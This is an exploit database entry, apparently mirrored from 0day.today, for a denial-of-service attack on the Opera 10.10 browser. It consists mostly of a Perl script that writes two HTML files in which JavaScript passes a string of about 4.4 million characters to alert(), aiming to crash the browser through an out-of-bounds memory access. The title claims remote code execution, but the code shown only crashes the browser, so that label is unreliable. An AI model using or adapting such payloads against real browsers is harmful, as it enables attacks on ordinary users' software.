Opera 10.10 Remote Code Execution DoS Exploit

🗓️ 05 Feb 2010 00:00:00Reported by cr4wl3rType

zdt🔗 0day.today👁 22 Views

Opera 10.10 Remote Code Execution Do

=============================================
Opera 10.10 Remote Code Execution DoS Exploit
=============================================

#!/usr/bin/perl
 
 
# Title : Opera 10.10 Remote Code Execution DoS Exploit
# Tested : Windows xp (sp2)
 
# Description : Opera Web Browser is vulnerable DoS within its javascript tags (alert)
# This issue can be exploited by using a large value in a alert tags to create an out-of-bounds memory access
 
 
print qq(
###################################################
## Opera 10.10 Remote Code Execution DoS Exploit ##
## Credits : Dj7xpl                              ##
###################################################
);
 
my $header = "<html>\n<script>\n";
my $footer = "</script>\n</html>";
 
 
my $uhoh1 = "var buf = 'A';\n".
           "while (buf.length <= 4444444) buf+=buf;\n".
           "alert(buf)\n";
 
##################################################################
open(myfile,'>> uhoh1.html');
print myfile $header.$uhoh1.$footer;
##################################################################
 
 
my $uhoh2 = "alert(\'". "A" x 4444444 ."'\)"."\n";
 
##################################################################
open(myfile,'>> uhoh2.html');
print myfile $header.$uhoh2.$footer;
##################################################################
 
print "\nDone, successfully created!\n";



#  0day.today [2018-03-19]  #

05 Feb 2010 00:00Current

7High risk

Vulners AI Score7